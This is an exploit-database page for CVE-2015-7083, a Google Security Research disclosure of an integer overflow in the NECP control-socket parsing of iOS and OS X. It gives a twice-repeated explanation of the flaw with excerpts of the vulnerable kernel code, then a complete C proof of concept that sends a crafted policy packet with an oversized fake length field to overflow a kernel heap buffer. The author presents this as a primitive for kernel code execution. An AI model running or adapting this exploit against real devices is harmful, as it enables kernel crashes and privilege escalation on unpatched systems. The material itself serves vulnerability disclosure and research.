iOS and OS X - NECP System Control Socket Packet Parsing Kernel Code Execution Integer Overflow



EKU-ID: 5375 CVE: 2015-7083 OSVDB-ID:
Author: Google Security Research Published: 2016-02-14 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=543
 
NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html
 
By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP)
OS X this is a real security boundary.
 
necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries.
The type field is a single byte and the length is a size_t (ie 8 bytes.)
 
by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop:
 
  // Read policy conditions
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
 
    if (condition_size > 0) {
      conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size);
    }
  }
 
The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) )
 
This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions:
 
one of length 1; one of length 1024 and one of length 2^64-1051;
 
later conditions_array_size is used as the size of a memory allocation:
 
  MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK);
 
There is then a memory copying loop operating on the undersized array:
 
  conditions_array_cursor = 0;
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    u_int8_t condition_type = NECP_TLV_POLICY_CONDITION;
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
    if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) {   <-- (a)
      // Add type
      memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type));
      conditions_array_cursor += sizeof(condition_type);
 
      // Add length
      memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size));
      conditions_array_cursor += sizeof(condition_size);
 
      // Add value
      necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL);  <-- (b)
 
There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the
loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will
then copy the second 1024 byte policy.
 
By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :)
 
this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch
of times and you'll crash :)
 
Tested on MacBookAir 5,2 w/ OS X 10.10.5 (14F27)
*/
 
// ianbeer
 
/*
iOS and OS X kernel code execution due to integer overflow in NECP system control socket packet parsing
 
NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html
 
By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP)
OS X this is a real security boundary.
 
necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries.
The type field is a single byte and the length is a size_t (ie 8 bytes.)
 
by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop:
 
  // Read policy conditions
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
 
    if (condition_size > 0) {
      conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size);
    }
  }
 
The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) )
 
This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions:
 
one of length 1; one of length 1024 and one of length 2^64-1051;
 
later conditions_array_size is used as the size of a memory allocation:
 
  MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK);
 
There is then a memory copying loop operating on the undersized array:
 
  conditions_array_cursor = 0;
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    u_int8_t condition_type = NECP_TLV_POLICY_CONDITION;
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
    if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) {   <-- (a)
      // Add type
      memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type));
      conditions_array_cursor += sizeof(condition_type);
 
      // Add length
      memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size));
      conditions_array_cursor += sizeof(condition_size);
 
      // Add value
      necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL);  <-- (b)
 
There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the
loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will
then copy the second 1024 byte policy.
 
By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :)
 
this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch
of times and you'll crash :)
 
Tested on MacBookAir 5,2 w/ OS X 10.10.5 (14F27)
*/
 
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/kern_control.h>
#include <sys/sys_domain.h>
#include <net/if.h>
#include <netinet/in_var.h>
#include <netinet6/nd6.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#define CONTROL_NAME "com.apple.net.necp_control"
 
int ctl_open(void) {
  int           sock;
  int           error     = 0;
  struct ctl_info     kernctl_info;
  struct sockaddr_ctl   kernctl_addr;
 
  sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
  if (sock < 0) {
    printf("failed to open a SYSPROTO_CONTROL socket: %s", strerror(errno));
    goto done;
  }
 
  memset(&kernctl_info, 0, sizeof(kernctl_info));
  strlcpy(kernctl_info.ctl_name, CONTROL_NAME, sizeof(kernctl_info.ctl_name));
 
  error = ioctl(sock, CTLIOCGINFO, &kernctl_info);
  if (error) {
    printf("Failed to get the control info for control named \"%s\": %s\n", CONTROL_NAME, strerror(errno));
    goto done;
  }
 
  memset(&kernctl_addr, 0, sizeof(kernctl_addr));
  kernctl_addr.sc_len = sizeof(kernctl_addr);
  kernctl_addr.sc_family = AF_SYSTEM;
  kernctl_addr.ss_sysaddr = AF_SYS_CONTROL;
  kernctl_addr.sc_id = kernctl_info.ctl_id;
  kernctl_addr.sc_unit = 0;
 
  error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr));
  if (error) {
    printf("Failed to connect to the control socket: %s", strerror(errno));
    goto done;
  }
 
done:
  if (error && sock >= 0) {
    close(sock);
    sock = -1;
  }
 
  return sock;
}
 
struct necp_packet_header {
    uint8_t   packet_type;
    uint8_t   flags;
    uint32_t  message_id;
};
 
uint8_t* add_real_tlv(uint8_t* buf, uint8_t type, size_t len, uint8_t* val){
  *buf = type;
  *(( size_t*)(buf+1)) = len;
  memcpy(buf+9, val, len);
  return buf+9+len;
}
 
uint8_t* add_fake_tlv(uint8_t* buf, uint8_t type, size_t len, uint8_t* val, size_t real_len){
  *buf = type;
  *(( size_t*)(buf+1)) = len;
  memcpy(buf+9, val, real_len);
  return buf+9+real_len;
}
 
int main(){
  int fd = ctl_open();
  if (fd < 0) {
    printf("failed to get control socket :(\n");
    return 1;
  }
  printf("got a control socket! %d\n", fd);
 
  size_t msg_size;
  uint8_t* msg = malloc(0x1000);
  memset(msg, 0, 0x1000);
 
  uint8_t* payload = malloc(0x1000);
  memset(payload, 'A', 0x1000);
 
  struct necp_packet_header* hdr = (struct necp_packet_header*) msg;
  hdr->packet_type = 1; // POLICY_ADD
  hdr->flags = 0;
  hdr->message_id = 0;
 
  uint8_t* buf = (uint8_t*)(hdr+1);
 
  uint32_t order = 0x41414141;
  buf = add_real_tlv(buf, 2, 4, &order); // NECP_TLV_POLICY_ORDER
 
  uint8_t policy = 1; // NECP_POLICY_RESULT_PASS
  buf = add_real_tlv(buf, 4, 1, &policy); // NECP_TLV_POLICY_RESULT
   
  buf = add_real_tlv(buf, 3, 1, payload); // NECP_TLV_POLICY_CONDITION
  buf = add_real_tlv(buf, 3, 1024, payload); // NECP_TLV_POLICY_CONDITION
   
  buf = add_fake_tlv(buf, 3, 0xffffffffffffffff-1050, payload, 0x10);
 
  msg_size = buf - msg;
 
  send(fd, msg, msg_size, 0);
 
  close(fd);
  return 0;
}